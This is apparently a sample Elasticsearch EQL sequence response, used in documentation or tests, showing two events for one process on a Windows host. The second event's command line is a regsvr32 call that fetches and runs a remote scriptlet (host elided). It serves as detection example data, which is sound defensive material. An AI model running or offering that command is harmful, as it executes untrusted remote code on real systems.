'value': "{\n \"is_partial\": false,\n \"is_running\": false,\n \"took\": 6,\n \"timed_out\": false,\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"sequences\": [\n {\n \"join_keys\": [\n 2012\n ],\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"AtOJ4UjUBAAx3XR5kcCM\",\n \"_source\": {\n \"@timestamp\": \"2099-12-06T11:04:07.000Z\",\n \"event\": {\n \"category\": \"file\",\n \"id\": \"dGCHwoeS\",\n \"sequence\": 2\n },\n \"file\": {\n \"accessed\": \"2099-12-07T11:07:08.000Z\",\n \"name\": \"cmd.exe\",\n \"path\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"type\": \"file\",\n \"size\": 16384\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"cmd.exe\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n }\n }\n },\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"OQmfCaduce8zoHT93o4H\",\n \"_source\": {\n \"@timestamp\": \"2099-12-07T11:07:09.000Z\",\n \"event\": {\n \"category\": \"process\",\n \"id\": \"aR3NWVOs\",\n \"sequence\": 4\n },\n \"process\": {\n \"pid\": 2012,\n \"name\": \"regsvr32.exe\",\n \"command_line\": \"regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n }\n }\n }\n ]\n }\n ]\n }\n}"
0 commit comments